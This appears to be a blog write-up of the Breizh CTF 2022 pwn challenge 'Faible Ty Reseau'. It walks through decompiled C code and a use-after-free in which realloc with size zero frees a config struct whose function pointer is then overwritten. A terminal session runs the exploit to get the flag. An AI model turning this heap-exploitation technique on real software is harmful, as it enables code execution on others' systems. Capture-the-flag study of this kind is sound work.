515 words
3 minutes
[Breizh CTF 2022 - pwn] Faible Ty Reseau
Faible Ty Réseau is a basic heap-like challenge, it allows us to create a configuration, edit it, call a function pointer on it and finally to free it:
int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u); while ( 1 ) { puts(aVousN); printf(a1ModifierLesPa, argv); fflush(stdout); v4 = 0; argv = &v4; __isoc99_scanf(&unk_21F3, &v4); switch ( v4 ) { case 0: printf("wtf ?"); fflush(stdout); break; case 1: create(); break; case 2: delete(); break; case 3: exec(); break; case 4: show(); break; case 5: exit(0); default: continue; } }}They are many ways to pwn the challenge, I did it by taking advantage of the UAF in create:
__int64 create(){ int v1; // [rsp+4h] [rbp-1Ch] int v2; // [rsp+8h] [rbp-18h] void *buf; // [rsp+10h] [rbp-10h] void *v4; // [rsp+18h] [rbp-8h]
if ( !ptr ) { ptr = malloc(0x18uLL); byte_4104 = 1; } buf = calloc(0x19uLL, 1uLL); write(1, "New hostname : ", 0x10uLL); v1 = read(1, buf, 0x18uLL); *(buf + v1) = 0; v4 = calloc(0x19uLL, 1uLL); printf("\nNew host : "); fflush(stdout); v2 = read(1, v4, 0x18uLL); *(v4 + v2) = 0; fflush(stdout); if ( byte_4104 != 1 ) { fflush(stdout); realloc(ptr, v1 + v2 - 2); *ptr = buf; *(ptr + 1) = v4; *(ptr + 2) = sub_1259; } byte_4104 = 0; *ptr = buf; *(ptr + 1) = v4; *(ptr + 2) = sub_1259; fflush(stdout); alloc_admin(); return 0LL;}As we can see, if ptr is not NULL and that we enter only one byte for each read (by sending only \n for example), then we will trigger a realloc(ptr, 1 + 1 - 2) which frees ptr, ptr being freed the freelist is pointing on ptr. Now let’s take a look at the alloc_admin function:
__int64 alloc_admin(){ char *v1; // [rsp+0h] [rbp-10h] char *v2; // [rsp+8h] [rbp-8h]
fflush(stdout); qword_40F8 = malloc(0x18uLL); fflush(stdout); v1 = malloc(0xAuLL); fflush(stdout); strcpy(v1, "Admin"); fflush(stdout); v2 = malloc(0xAuLL); fflush(stdout); strcpy(v2, "000000000"); fflush(stdout); *qword_40F8 = v1; *(qword_40F8 + 8) = v2; *(qword_40F8 + 16) = win; fflush(stdout); return 0LL;}By allocating 0x18 bytes, it gets the previous freed ptr and writes over a few fields like the function pointer. Then we just have to call the exec function which will call the win function:
int exec(){ if ( ptr ) return (*(ptr + 2))(); printf("Pas de configuration !"); return fflush(stdout);}Which gives us:
nasm@off:~/ctf/bzhCTF/pwn$ ./FTMVous n'êtes pas connecté (anonyme)1. Modifier les paramètres de connexion2. Restaurer la configutation d'usine3. Tester la configuration4. Voir la configuration courante5. Quitter (au revoir !)>>>> 1New hostname : dumb
New host : dumbVous n'êtes pas connecté (anonyme)1. Modifier les paramètres de connexion2. Restaurer la configutation d'usine3. Tester la configuration4. Voir la configuration courante5. Quitter (au revoir !)>>>> 1New hostname :
New host :Vous n'êtes pas connecté (anonyme)1. Modifier les paramètres de connexion2. Restaurer la configutation d'usine3. Tester la configuration4. Voir la configuration courante5. Quitter (au revoir !)>>>> 3BZHCTF{9024b719d4449bc9827478e50f0279427ccb542cc3ecdec21fce38c52b29561c} [Breizh CTF 2022 - pwn] Faible Ty Reseau
https://n4sm.github.io/posts/ftm/